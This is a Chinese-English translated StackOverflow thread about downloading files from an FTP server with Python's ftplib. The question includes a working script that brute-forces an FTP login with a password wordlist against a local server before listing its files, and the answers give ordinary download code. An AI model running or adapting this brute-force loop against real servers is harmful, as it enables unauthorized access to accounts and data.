使用 Python 连接从 FTP 检索文件
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/21194691/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Retrieve file/s from FTP using Python connection
提问by Giladiald
i built this simple tool to brute force and connect to the ftp server
我构建了这个简单的工具来暴力破解并连接到 ftp 服务器
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:
目前该工具有效(我在文件列表中设置了第 3 个正确的密码) - 当我登录时,我得到以下输出:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this
从这里开始,我想要的是允许用户(我)检索文件 1 个特定文件或所有文件 - 但我不知道最简单的方法是什么
the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.
选择 1 或全部,我可以做,(按 1 复制全部 ->)但命令本身复制全部或仅一个,如果有,则基于我不确定该怎么做。
EDIT: adding what Xendrm suggested to the code yealds this:
编辑:在代码中添加 Xendrm 建议的内容:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.
采纳答案by Giladiald
ok so after much trial and error i found how to do it. - this script will take every file in the chosen directory - didn't figure out how to take all of the files from all of the sub directories as well, but this is more than good enough - will leave here for future people to see.
好的,经过多次反复试验,我找到了该怎么做。- 该脚本将获取所选目录中的每个文件 - 还没有弄清楚如何从所有子目录中获取所有文件,但这已经足够了 - 将留在这里供将来的人查看。
from ftplib import FTP
import os # allows me to use os.chdir
port=21
ip="192.168.1.108"
password='123'
os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input
ftp.cwd(directory)
for filename in ftp.nlst(filematch): # Loop - looking for matching files
fhandle = open(filename, 'wb')
print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
and as proof, this is the output received from above code:
作为证据,这是从上述代码收到的输出:
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py
回答by Alvaro Fuentes
First you need to understand the ftpprotocol before doing some serious stuff. As an example you can do something like this:
首先你需要在做一些严肃的事情之前了解ftp协议。例如,您可以执行以下操作:
from ftplib import FTP
port=21
ip="127.0.0.1"
password = "[email protected]"
user = "Anonymous"
ftp = FTP(ip)
ftp.login(user,password)
files = ftp.nlst()
for i,v in enumerate(files,1):
print i,"->",v
i = int(raw_input("Type a number for download or type 0 for all\n"))
def f(s):
#save the chuck of data in s
print s
def download(j):
print "downloading=>",files[j]
ftp.retrbinary("RETR " + files[j],f)
#or ftp.retrlines("RETR " + files[j],f) for ascii files
if i==0:
for j in range(len(files)):
download(j)
elif i>0 and i<=len(files):
download(i-1)
回答by Rameshkumar R
Try this :
尝试这个 :
import argparse
import os
from ftplib import FTP
def parse_args():
''' parse and check command line arguments '''
ap = argparse.ArgumentParser(description="FTP Utility")
ap.add_argument('-hh', dest='host', help="Host name")
ap.add_argument('-u', dest='uname', help="user name")
ap.add_argument('-p', dest='pwd', help="user password")
ap.add_argument('-rd', dest='remote_dir', help="Path to remote directory")
ap.add_argument('-ld', dest='local_dir', help="Path to local directory")
ap.add_argument(dest='files', help="File names", nargs='+')
return ap.parse_args()
def is_empty(file):
file_size=os.stat(file).st_size
if file_size == 0:
print "The file {} is empty".format(file)
return True
return False
args=parse_args()
host_name=args.host
user_name=args.uname
user_pwd=args.pwd
remote_dir=args.remote_dir
local_dir=args.local_dir
files=args.files
ftp=FTP(host_name)
ftp.login(user_name, user_pwd)
ftp.cwd(remote_dir)
for file in files:
try:
local_filename = os.path.join(local_dir, file)
print "Getting filename "+file
ftp.retrbinary('RETR %s' % file, open(local_filename, 'wb').write)
print "Saving at %s" % local_filename
except Exception, err:
print err
if (is_empty(local_filename)):
os.remove(local_filename)
continue
ftp.quit()
I've been using this for a quite a while now. If you are regularly FTPing from one machine, just hard code the values for host_name, user_name, etc,.
我已经使用这个有一段时间了。如果您经常从一台机器上进行 FTP 传输,只需对 host_name、user_name 等的值进行硬编码。

